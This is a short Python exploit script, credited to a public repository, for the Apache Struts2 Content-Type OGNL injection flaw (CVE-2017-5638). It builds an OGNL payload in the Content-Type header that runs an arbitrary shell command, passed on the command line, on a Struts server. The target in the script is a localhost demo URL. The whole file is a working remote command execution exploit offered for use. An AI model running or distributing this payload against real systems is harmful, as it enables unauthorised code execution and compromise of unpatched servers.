exploit.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

# Credit: https://github.com/immunio/apache-struts2-CVE-2017-5638/blob/master/exploit.py

import sys
import urllib2
import httplib

def exploit(cmd):
    ognl_payload = "%{(#_='multipart/form-data')."
    ognl_payload += "(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    ognl_payload += "(@java.lang.Runtime@getRuntime().exec('{}'))".format(cmd)
    ognl_payload += "}"

    url = 'http://localhost:8180/demo/showcase.action'

    headers = {'Content-Type': ognl_payload}
    request = urllib2.Request(url, headers=headers)
    response = urllib2.urlopen(request).read()


if len(sys.argv) < 2:
    sys.exit('Usage: %s <cmd>' % sys.argv[0])
else:
    exploit(sys.argv[1])